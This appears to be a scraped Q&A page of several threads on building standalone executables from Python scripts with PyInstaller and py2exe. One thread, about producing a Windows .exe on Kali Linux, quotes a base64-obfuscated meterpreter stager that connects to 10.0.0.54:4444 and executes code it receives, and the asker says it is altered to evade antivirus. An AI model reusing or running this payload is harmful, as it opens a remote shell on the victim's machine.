Python executable created using pyinstaller will no longer run with dependant packages - python

I have a program written in python that is exported to a raspberry pi to run. I tested the .py file in the raspberry pi to verify that it works, then used pyinstaller to make a --onefile copy of the .py file as an executable. When I attempt to run the executable, I get an error that states no module named tkinter.
ImportError: no module named tkinter
I had problems before using pyinstaller on an x86 computer and trying to port to the raspi, but I compiled on the raspi and avoided that issue, now it just seems like I am not freezing all the packages like it is supposed to. To make the executable, I ran the following:
pyinstaller --onefile bar_3axis.py
Any help would be appreciated. Do I need to post complete readout from pyinstaller command?

Well I would like everyone to know it was because my program was written in and supported by python3 packages and I downloaded and was using pyinstaller that used python 2.7 to make the executable. I uninstalled pyinstaller and redownloaded using pip3 and it worked like a charm.

Related

How to run a python library without installing it

I have to run a shell script on a Centos Linux machine that calls a python file. Inside the python file, there is the following code snippet:
from lib.rclone import Rclone
rclone = Rclone()
if shutil.which("rclone") == None:
print("Rclone executable is missing, install it")`
The problem is that I am not supposed to install any code (including rclone) on the machine. Therefore, whenever I call the shell script, it ends up with the error message. I don't know how can I successfully run it?
The program you are running requires rclone. Since you cannot install it, you cannot run it. Simple as that.
You can try to release the script as a .exe file.
By using pyinstaller (https://pyinstaller.org/) you don't have to install any libs or py package on the target machine, you can even choose to release it as a single executable.

How to create a onefile executable from a python script?

I have a decently complicated .py script, which uses several packages, incl matplotlib, numpy, and one custom, that is compiled from a fortran code. I want to make a windows executable out of this, that is distributeable in a way, that users don't need to have python installed on their computers for it to work.
When I make my .exe with pyinstaller --onefile myprogram.py the resulting .exe doesn't run on its own (if I doubleclick on it, the GUI it contains doesn't open), however, if I have anaconda installed, from anaconda prompt I can run it with .\path\to\program\myprogram.exe and it works all nicely (without creating an environment with matplotlib etc)
My question is: how can I make it so that the one file includes all the dependencies and I can just doubleclick on it and go?
Thanks in advance!

Convertin .py files to .exe and run it in windows 10 without any installation

I have already converted my python script .py to .exe using pyinstaller. When I try to run this exe in Windows 10. It states this app can not be run on your PC.
As far as I see, I need to install Python in Windows as well, but in my situation this is not an option. In my company, every computer uses Windows 10 and there is no way for me to install Python all of them.
What I wonder is that whether there is any way to run my .py script in Windows 10 without installing anything into Windows 10. I should give a working directory to people in my company and they should run my script with just one click.
EDIT:
With the help of #Amey and #L00n3y, I managed to solve my problem. In case anyone has same problem, I explained the procedure clearly, in this link.
have you tried py2exe?
py2exe is a distutils extension which allows to build standalone Windows executable programs from Python scripts.
You can download it here:
https://pypi.org/project/py2exe/
You can also use 'Pyinstaller' which is widely used.
Install it using,
pip install pyinstaller
And create an executable using the following command,
Python pyinstaller.py --onefile pythonfile.py
With the help of #Amey and #L00n3y, I managed to solve my problem. In case anyone has same problem, I explained the procedure clearly, in this link.

Compiling Python to .EXE instead of .ELF on Linux

I am compiling a Python code on Kali Linux. I want to produce an .exe file to run on Windows. These are the following settings for PyInstaller:
pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe
and the code is just meterpreter with some comments to avoid Anti-virus detection. The following code is:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))
When I compile it, I receive a .ELF file instead of .EXE. Maybe I could have the directory wrong? I do not think this is so, as I have checked most directories associated with PyInstaller. I have read the guide to PyInstaller, but it seems to be of no use. Is there any solution to compile Python code on Linux to get a .exe file for Windows?
From the documentation:
The output of PyInstaller is specific to the active operating system and the active version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter that executes PyInstaller is part of the bundle, and it is specific to the OS and the word size.
You cannot generate a .exe under Kali running its Python.
Ignacio's answer is correct. The Linux version of pyinstaller will not build Windows PEs.
A [convoluted] workaround is install wine, then install python on wine (and pyinstaller on wine).
Then run wine's pyinstaller to build the exe.

How do I run a Python 3.5 program that uses Tkinter on a computer without Python installed?

I have coded a program in Python 3.5 that uses the Tkinter import. I'm trying to figure out a way to run it on computers that don't have Python. First I tried freezing it but I haven't been able to because none of the freezing tools I found support Python 3.5. Then I tried possibly using a online idle but I couldn't find any that support Tkinter. I would prefer to be able to get a .exe file or something similar but if I could run it online that would be good too any ideas?
EDIT
So I have now successfully downloaded PyInstaller using pip. My current problem is when I type this into the console: pyinstaller.exe --onefile --windowed Finder.py
I get this error: 'pyinstaller.exe' is not recognized as an internal or external command,
operable program or batch file.
EDIT
I have now found the pathway to pyinstaller.exe. Now when I try to use it it says Access is denied.
I finally figured it out after about three days of work. Fist I downloaded PyInstaleller in the zipped form and extracted it. Then I put my program in the PyInstaller folder. Then I opened a regular command prompt. I then typed cd then the location of the PyInstaller folder. Finally I typed pyinstaller.py --one file --windowed program.py. Then when I went into the PyInstaller folder there was a folder called program with the .exe file in the dist folder. Thanks everyone for all of your help!
You can use pyinstaller to do that. I think its work fine on linux em linux.
Another option is use py2exe.
Try pyinstaller -F -w Finder.py as the command or you could check out CxFreeze.

Categories